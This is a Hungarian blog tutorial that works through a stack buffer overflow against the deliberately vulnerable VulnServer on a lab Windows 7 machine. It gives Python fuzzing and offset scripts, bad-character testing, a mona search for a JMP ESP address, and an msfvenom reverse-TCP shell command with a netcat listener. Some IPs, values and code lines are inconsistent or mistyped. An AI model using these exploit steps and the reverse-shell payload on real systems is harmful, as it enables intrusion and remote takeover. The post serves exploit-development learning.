Sziasztok!

Ihletet kaptam egy kis gyakorláshoz buffer overflow témában.

A posztot elsősorban magam miatt írom, önző módon, mert amit ilyen részletességgel dokumentálok, azt már tapasztaltam, hogy sokkal jobban megjegyzek. Ettől függetlenül remélem, hogy akit érdekel a téma, az szívesen olvassa, és ha még valami lépés tisztázódik számára, akkor már elérte bőven a célját a befektetett energia!

Ahhoz, hogy belerázódjak a porosodó témába, egy klasszikus sebezhető alkalmazást használok, aminek a neve VulnServer.
Ezt az alkalmazást direkt erre a célra rakták össze.

Egy windows-on futtatható alkalmazásról van szó, ami így néz ki:

A programot egy 32 bites Windows7Pro-n futtatom.
A Windows gépem IP címe: 192.168.2.141
A támadó Kali Linux IP címe: 192.168.2.165
Maga az alkalmazás több utasítást képes feldolgozni, amelyek semmi hasznosat nem csinálnak, de beviteli adatot fogadnak, és azt feldoglozzák. Ezek közül a funkciók közül sok sebezhető, de mi a TRUN nevű parancs sérülékenységét fogjuk kihasználni.

A funkciók listája a HELP parancs bevitelével érhető el.

Ahhoz, hogy megállapítsuk az úgynevezett belépési pontot, fuzzolnunk kell az alkalmazást.

Lássunk is hozzá!
Az alábbi script pythonban íródott, és annyit csinál, hogy a 192.168.2.141-es IP-re a 9999-es porton (ez az a cím, ahol Windows-on lévő sebezhető alkalmazás “hallgatózik”), küld egy általunk megadott számú “A” betűt beviteli értékként, majd az EXIT utasítással lezárja a kapcsolatot.


#!/usr/bin/python 
import socket 
server = ‘192.168.82.141’ 
sport = 9999 
length = int(raw_input(‘Bevitel hossza: ‘)) 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024) 
print “Tamadas kivitelezese “, length, ‘ karakterszammal.’
attack = ‘A’ * lengths.send((‘TRUN .’ + attack + ‘\r\n’))
print s.recv(1024)
s.send(‘EXIT\r\n’)
print s.recv(1024)
s.close()


A fent látható script futtatása után az alábbi válaszokat látjuk:

A windows oldalon pedig látható, hogy csatlakozás történt a szerverhez a 192.168.82.165-ös címről.

Az első próbálkozásunk 10 karakternyi “A” betű bevitelével történt, amelyet sikeresen feldolgozott a program, és megfelelően zárta a kapcsolatot. A célunk ebben az esetben az, hogy olyan mennyiségű karaktert adjunk át a programnak, amelyet nem tud feldolgozni, és lefagy. Csapjunk bele, és próbáljuk meg 1000 db “A” betű bevitelét!

A beküldés megtörtént, nézzük meg a “túloldalt”!

Az alkalmazás megfelelően működik, nem tapasztaltunk lefagyást, bármi szokatlant, ugyanúgy ahogy  az előbbi példában is megfelelően bontotta a kapcsolatot, és várja a következő beérkező kérést.

Próbáljuk meg nagyobb karakterszámmal, mondjuk 9000db “A” betűvel!

Ebben az esetben a python scriptünk nem futott végig, ami már felettébb gyanús!
Az inputot elküldte a szervernek, azonban az EXIT parancsot már nem tudta átadni.

Állítsuk le a script futását, és nézzük meg, mi történhetett a Windows-ban!

Sikeresen lefagyott az alkalmazás, mivel nem tudta kezelni a 9000db beérkező “A” karaktert.
A programot bezártam, és újraindítottam, azonban most már nem egyszerűen elindítom, hanem az Immunity Debugger alkalmazáson keresztül, amely lehetővé teszi, hogy figyeljem az alkalmazás futása közben a memóriát, regisztereket és CPU utasításokat.

Mivel azt már megállapítottuk, hogy 9000 karakternél elhasal a program, próbáljuk meg csökkenteni ezt a mennyiséget.

2000db “A” betű bevitelével is sikeresen elhasal a program.

Támadó:

Célpont:

Miért nem elég nekünk ez a 2000db “A” betű? Sajnos ha megnézzük az elhasalás pillanatában a regisztereinket, akkor láthatjuk, hogy ez EIP regiszterben nem jelennek meg az általunk bevitt 41-es hexadecimális értékek, azaz az “A” betűk. Az EIP regiszter felülírása pedig kulcsfontosságú a támadás sikerességéhez, hogy kontrollálni tudjuk az utasítás-végrehajtást. A lenti képen látható, hogy a 2000db “A” betű kevés lesz.

A 3000db “A” betű bevitele után jól láthatóan hexa 41 értékekkel kerül feltöltésre az EIP.

A következő lépésként meg kell állapítanunk, hogy a bemenetként küldött 3000db “A” betű közül melyek azok amelyek az EIP értékét képezik, azaz melyik az a pozíció az inputunkban, amellyel vezérelni tudjuk a végrehajtás menetét.
Ennek a megállapításához generálnunk kell egy azonos hosszúságú inputot, amely egyértelműen megállapíthatóvá teszi az érték kiolvasása révén, hogy melyik pozícióra van szükségünk.
Egy ilyen meghatározott hosszúságú, egyedi mintázatokat tartalmazó string generálására több módszer is létezik. Pl: Kali Linuxban beépített pattern_create.rb ruby script.
Ennek a scriptnek a használatáról egy nagyon jó OffSec-es leírást találhattok ezen a LINK-en.

A mostani példában azonban nem ezt a tool-t, hanem egy saját python scriptet fogunk használni.

#!/usr/bin/python

chars = ”
  for i in range(0x30, 0x35):
    for j in range(0x30, 0x3A):
     for k in range(0x30, 0x3A):
       chars += chr(i) + chr(j) + chr(k) + ‘A’ print chars

A fenti kódot lefuttatva kimenetként megjelenik az egyedi mintázatokat tartalmazó sztring.

000A001A002A003A004A005A006A007A008A009A010A011A012A013A014A015A016A017A018A019A020A021A022A023A024A025A026A027A028A029A030A031A032A033A034A035A036A037A038A039A040A041A042A043A044A045A046A047A048A049A050A051A052A053A054A055A056A057A058A059A060A061A062A063A064A065A066A067A068A069A070A071A072A073A074A075A076A077A078A079A080A081A082A083A084A085A086A087A088A089A090A091A092A093A094A095A096A097A098A099A100A101A102A103A104A105A106A107A108A109A110A111A112A113A114A115A116A117A118A119A120A121A122A123A124A125A126A127A128A129A130A131A132A133A134A135A136A137A138A139A140A141A142A143A144A145A146A147A148A149A150A151A152A153A154A155A156A157A158A159A160A161A162A163A164A165A166A167A168A169A170A171A172A173A174A175A176A177A178A179A180A181A182A183A184A185A186A187A188A189A190A191A192A193A194A195A196A197A198A199A200A201A202A203A204A205A206A207A208A209A210A211A212A213A214A215A216A217A218A219A220A221A222A223A224A225A226A227A228A229A230A231A232A233A234A235A236A237A238A239A240A241A242A243A244A245A246A247A248A249A250A251A252A253A254A255A256A257A258A259A260A261A262A263A264A265A266A267A268A269A270A271A272A273A274A275A276A277A278A279A280A281A282A283A284A285A286A287A288A289A290A291A292A293A294A295A296A297A298A299A300A301A302A303A304A305A306A307A308A309A310A311A312A313A314A315A316A317A318A319A320A321A322A323A324A325A326A327A328A329A330A331A332A333A334A335A336A337A338A339A340A341A342A343A344A345A346A347A348A349A350A351A352A353A354A355A356A357A358A359A360A361A362A363A364A365A366A367A368A369A370A371A372A373A374A375A376A377A378A379A380A381A382A383A384A385A386A387A388A389A390A391A392A393A394A395A396A397A398A399A400A401A402A403A404A405A406A407A408A409A410A411A412A413A414A415A416A417A418A419A420A421A422A423A424A425A426A427A428A429A430A431A432A433A434A435A436A437A438A439A440A441A442A443A444A445A446A447A448A449A450A451A452A453A454A455A456A457A458A459A460A461A462A463A464A465A466A467A468A469A470A471A472A473A474A475A476A477A478A479A480A481A482A483A484A485A486A487A488A489A490A491A492A493A494A495A496A497A498A499A

Ha megvizsgáljuk, akkor megfigyelhetjük, hogy egy olyan stringet kaptunk, amely 500db 4 karakterből álló csoportot tartalmaz. Minden csoport egy numerikus értéket, amely 3db számjegyből áll és egy “A” betűt tartalmaz. “000A”-tól “499A”-ig. Ez összesen 2000 byte-nyi string.
Ha egy kicsit visszaemkékezünk a fentebb említett esetre, amikor 2000byte-nyi inputot kapott a program, akkor elhasalt, de sajnos az EIP regiszter értéke nem került felülírásra az “A” betűink által.Az előző vizsgálataink folyamán megállapítottuk, hogy 3000bytenyi információt kell az alkalmazásnak átadni annak érdekében, hogy az EIP regisztert is írjuk.Az előző vizsgálataink folyamán megállapítottuk, hogy 3000bytenyi információt kell az alkalmazásnak átadni annak érdekében, hogy az EIP regisztert is írjuk.
Mivel azt tudjuk, hogy az első 1000 byte helyén fixen nem található meg az EIP regiszter, ezért a jelenleg rendelkezésünkre álló 2000 bytenyi egyedi mintázatot tartalmazó string elé be tudunk illeszeni 1000 bytenyi “A” betűt, amely annyit eredményez, hogy összesen meglesz a 3000 bytenyi input, és biztosak lehetünk abban, hogy az EIP regiszterbe bekerülő érték nem az 1000db “A” betű közül lesz valamelyik, hanem a 2000 bytenyi egyedit mintázatot tartalmazó sztringből.

Készítsük el a scriptünket, amely feltölti 1000db “A” betűvel az egyedi sztringünk elejét, és beküldi a programnak a 9999-es porton.

#!/usr/bin/python

import socket
server = ‘192.168.82.141’
sport = 9999

prefix = ‘A’ * 1000
chars = ”
for i in range(0x30, 0x35):
for j in range(0x30, 0x3A):
for k in range(0x30, 0x3A):
chars += chr(i) + chr(j) + chr(k) + ‘A’
attack = prefix + chars

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
print “Sending attack to TRUN . with length “, len(attack)
s.send((‘TRUN .’ + attack + ‘\r\n’))
print s.recv(1024)
s.send(‘EXIT\r\n’)
print s.recv(1024)
s.close()

A fenti script lefuttatása után egyértelműen elszáll a programunk, azonban azt láthatjuk, hogy az EIP regiszter értéke jelen pillanatban 35324130.


Ahhoz, hogy megtaláljuk a mintázatunkban, bonstuk fel ezt az értéket!


35|32|41|30 –>52A1


Most ha rákeresünk a generált stringben, akkor meg is találjuk ezt az értéket. VISZONT azt nem szabad elfelejteni, hogy az Intel processzorok “Little Endian” bájt sorrenddel működnek, ami azt jelenti, hogy ha az 52A1 érték helyére illesztünk be pl “A” betűket, akkor az nem az EIP regiszterbe fog íródni.
Próbáljuk ki!
A legegyszerűbb, ha változóba beleírjuk a fenti stringünket, és az 52A1 értéket átírjuk “AAAA”-ra, és a python scriptbe, amely segítségével kommunikálunk az alkalmazással, beillesztjük ezt a stringet változóként.

A kódunk most így néz ki:

Ha megnézzük a futtatás után az EIP regiszter állapotát, akkor láthatjuk, hogy tényleg nem jelenik meg a 41414141 érték.

Próbáljuk meg, hogy a fent említett “Little Endian” bájt sorrendet alkalmazzuk, amely alapján az EIP regiszter pozíciója az 1A25 pozíción van.

Ebben az esetben jól látható, hogy az EIP regiszter értéke 41414141.

Ez által, hogy tudjuk a pontos pozícióját az EIP-nek, írjuk át úgy a scriptünket, hogy egyszerűen lehessen használni, és magát a payload-ot beilleszteni a későbbiekben.

Mire lesz most szükségünk?

Először van az 1000db “A” betűnk, amely után jött az egyedi mintázatú string, aminek az 1007. pizíciójánál kezdődik az EIP.

Ebben az esetben az első 1000db “A” betű helyett az új scriptben 2006db-ot fogunk használni, majd következik 4 byte(jelen esetben , ami maga az EIP értéke lesz, és a maradék(3000-2006-4) “B” betűt küldünk be.

Ha most a kódunkat a fentiek alapján módosítjuk, akkor valahogy így fog kinézni:

#!/usr/bin/python

import socket
server = ‘192.168.82.141’
sport = 9999

prefix = ‘A’ * 2006
eip = ‘CDEF’
last = ‘B’ * (3000-2006-4)
attack = prefix + eip + last

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
print “Sending attack to TRUN . with length “, len(attack)
s.send((‘TRUN .’ + attack + ‘\r\n’))
print s.recv(1024)
s.send(‘EXIT\r\n’)
print s.recv(1024)
s.close()

Amikor ezt elsütjük a célpont felé, akkor megvizsgálva a debugger alkalmazásunkban, tökéletesen látszani fog, hogy hol helyezkedik el a 2006db “A” betű, a 4 db “BCDE” karakter a regiszterben valamint a maradék “B” betű hexadecimális értékként.

Most hogy már kontrolláljuk a parancsvégrehajtást, és megvan az a hely is, ahová a payloadot tenni fogjuk a következő részben elkezdjük előkészíteni a payload-ot és megyünk előre a sikeres támadás irányába.

Essünk neki a “Bad Character”-eknek!
Mik is azok pontosan, és esetlegesen miért okoznak nekünk fejfájást?
Alapjáraton maga a buffer overflow támadás lényege, hogy úgy verjük át a programot, hogy bemenetként olyan kódot injektálunk az adatstruktúrába, amelyre nem volt felkészítve a program. Így bármi védelmi mechanizmus nélkül, nem tudja kikerülni a kódunk lefuttatását.
Vannak olyan “Bad Character”-ek, amelyek a legtöbb esetben problémát okoznak számunkra. Ezek közül hoztam pár példát:
0x00 hexa érték decimális 0, NULL byte-›› végrehajtást megszakító funkció
0x0A hexa érték decimális 10, sortörés, bizonyos esetekben parancssor megszakító funkcióval bír
0x0D hexa érték decimális 13, bizonyos esetekben parancssor megszakító funkcióval bír
0x20 hexa érték decimális 32, szóköz, bizonyos esetekben argumentum szeparátor funkcióval bír
Hogyan derítsük ki azt, hogy adott esetben, melyek azok a karakterek, amelyek valami számunkra ismeretlen utasítást hajtanak végre, ha bemenetként megkapja a program, és utasítást kap arra, hogy hajtsa végre. Fontos, hogy ezeket megtaláljuk, mert ha benne maradnak a payload-unkban, akkor az általunk elvárt funkcionalitás sérülhet.
Hogyan állapítsuk meg, hogy melyek ezek a karakterek? Nagyon egyszerű a dolgunk!
Van egy csomó helyünk bevitel közben. Cseréljük le a “B” betűket az összes használható karakterre (\x00-\xFF), küldjük be, és nézzük meg, hogyan viselkednek futásidőben!
Vágjunk is bele, alakítsuk át a scriptünket!
Valahogy így fog kinézni:

Amikor elsütjük ezt a scriptet a szerver ellen, nyissuk meg az Immunity Debuggert, jobb klikk az ESP regiszterre, majd follow in dump.

Bal alsó sarokban láthatjuk, hogy mi is történt pontosan.
Első és talán leginkább szignifikáns eredmény az a 00-val kezdés, viszont a többi karaktert nem találjuk meg. Ennek oka, hogy a \x00 bájt megszakított a végrehajtást.
Menjünk vissza a scriptünkhöz, és vegyük ki belőle a \x00-t.
Ezután újra lefuttatjuk a scriptet, egy teljes szerver újraindítás után.

Jól láthatóan, az összes beküldött érték megfelelően következik egymás után, és megjelennek a ‘B’ betűk a karaktereink után.

Ezen a ponton sikeresen kiszűrtük a számunkra nem megfelelő karaktereket és kontrolláljuk az EIP regisztert. Hogyan tovább?

Keresni kell egy módszert, amivel az ESP memóriaterületén található utasításokat végrehajttatjuk.

Erre több módszer is van. Ahhoz, hogy megértsük, egy kicsit bele kell túrnunk a rozsdásodó assembly tudásunkba.

Két egyszerű utasítás lehet esélyes:

JMP ESP
PUSH ESP;RET


Annak érdekében, hogy megtaláljuk ezeket a funkciókat, szükségünk van az Immunity Debugger egy pythonban íródott moduljára, amely a MONA nevet viseli. INNEN letölthető a tömörített állomány.

A kicsomagolt python fájlt másoljuk be az Immunity Debugger PyCommands mappájába, és indítsuk újra a programot.

A telepítés ezzel megtörtént. Most indítsuk újra a szervert a debuggerünkből.

Az ablak alsó részén van egy üres fehér csík, oda írjuk be a következő parancsot, majd nyomjunk enter-t:

!mona modules


Ezzel indítjuk el a MONA modult. Indítás után a lenti képen látható területre kell fókuszálnunk, amelyről beszéljünk át pár információt!


Ebben a részben találjuk meg a szerverhez kapcsolódó összes modult.
Amit figyelnünk kell elsőként az az ASLR oszlop. Ez a funkció egy beépített védelem, amely annyit csinál, hogy minden egyes újraindításnál megváltozik az adott modul memóriacíme. Ez számunkra nem jó, mivel arra van szükségünk, hogy fixen találjunk egy olyan címet, ahol minden indításnál JMP ESP vagy PUSH ESP;RET utasítás van.

A másik opció ami fennakadást jelenthet, az a REBASE oszlop TRUE értéke, ami pedig azért felel, hogy teljesen áthelyezi az adott modult másik címterületre, ha a preferált címterület már foglalt.

Ha jobban megnézzük a kilistázott modulokat, akkor csak egy jöhet szóba, ahol mind az ASLR mind a REBASE flag FALSE értéket vesz fel:
Ez a modul az essfunc.dll.

Most hogy megvan a megfelelő dll file, itt az ideje, hogy elkezdjünk benne túrkálni JMP ESP vagy PUSH ESP;RET utasítás után.

Hogyan találjuk meg, illetve mit kellene keresni?

Térjünk vissza a kali linux támadó gépünkhöz, és indítsuk el a nasm_shell ruby scriptet, amely abban lesz a segítségünkre, hogy megmutatja, hogy a JMP ESP utasítás hexa kódja micsoda.

Ahogyan a lenti képernyőképen is látható, az utasítás hexa kódja ‘FFE4’.

Arra az esetre, ha nem találunk ilyen utasítást, akkor készüljünk elő a POP ESP;RET utasítás hexa kódjával is, amely pedig: 5CC3.

Indítsuk el a MONA modulban a keresést a JMP ESP utasításra a következő paranccsal: !mona find -s “\xff\xe4” -m essfunc.dll

Amint a lenti képen látható, a keresés 9 eredményt hozott.

Az első találat elvileg tökéletes lehet nekünk. Jegyezzük fel a címet ami hozzá tartozik: “625011af”

Zárjuk be a MONA modult, indítsuk újra a szervert a debugger segítségével, és teszteljük le a megtalált JMP ESP memóriacímünket!

Ehhez át kell alakítanunk a scriptünket, mégpedig úgy, hogy az eddig EIP regiszterbe küldött érték nem ‘CDEF’ lesz, hanem a 6250111AF.
Ne felejtsük el, hogy még mindig alkalmazandó a Little Endian bájt sorrend, tehát az eip változónk a python scriptünkben a következő értéket fogja megkapni: ‘\xaf\x11\x50\x62’.
Ezáltal a végrehajtás arra a memóriacímre mutat, ahol az ESP regiszterünk tartalma található, azaz a mi beviteli értékeink.

A legegyszerűbb módja annak megvizsgálására, hogy az utasítás vezérlésünk ténylegesen működik, ha NOP utasításokat adunk a programnak, majd megszakítjuk a végrehajtást az INT 3 utasítással.

Gondoljuk át a felépítést!

2006db ‘A’ betű
EIP
16db NOP utasítás
1db INT 3 utasítás
maradék hely feltöltése
A NOP utasítások lehet, hogy feleslegesnek tűnnek, de szükség van arra, hogy legyen azon a részen biztosítva további hely.

Ha megnézzük a lenti képet, amely a futtatás után készült, gyönyörűen látható, hogy hol állt meg a programunk. Pont ahol terveztük!

Most jön az izgalmasabb része a dolognak!
Vegyük elő az MsfVenom tool-t, és generáljunk egy menő backdoor-t, amit lefuttatunk!

A parancs amivel a megfelelő backdoor-t le tudjuk generálni, az a következő:


msfvenom -a x86 –platform Windows -p windows/shell/reverse_tcp LHOST=192.168.82.169 LPORT=4444 -b “\x00” -e x86/shikata_ga_nai EXITFUNC=thread R -f python

Az -a kapcsoló az arhitektúrát jelöli.
A –platform kapcsoló magáért beszél
A -p kapcsoló magát a payload típusát jelöli meg
LHOST és LPORT a támadó címe, és listener portja
A -b kapcsoló a korábban felderített badcharacter-ek listája
az -e kapcsoló az encode-ing típusát jelöli
EXITFUNC a futási szál lezárási módszerét jelöli meg, amely helyes használata esetén a program nem fagy le
Az -f kapcsoló a generált kód nyelvét jelöli meg.
Amint legenerálásra került a kód, illesszük be a scriptünkbe, majd számoljunk utána az összes összetevő méretének!

Ha ezekkel megvagyunk, a kódunk így fog kinézni:

Az msfvenom által generált kód futtatása esetén visszacsatol a támadó gépre, amelyen emiatt egy “Listener”-t kell indítanunk. Erre a netcat programot fogjuk használni az nlvp kapcsolóval.
 
A parancs: nc -nlvp 4444
Minden bejövő kapcsolatot vár a 4444-es porton.
 
A windows-os gépünkön indítsuk el a szervert, majd süssük el a kész exploitot!
 
Az osztott képernyőn jól látszik, hogy a bal oldalon elindítottam a scriptet, és ezzel egyidőben már fel is pattant a windows által indított csatlakozás.

Ha megnézzük a windows-os gépen a futó alkalmazást, akkor minden számításunk megfelelő volt, a program fagyás nélkül fut, viszont az operációs rendszer-t már a támadó gépről is tudjuk vezérelni.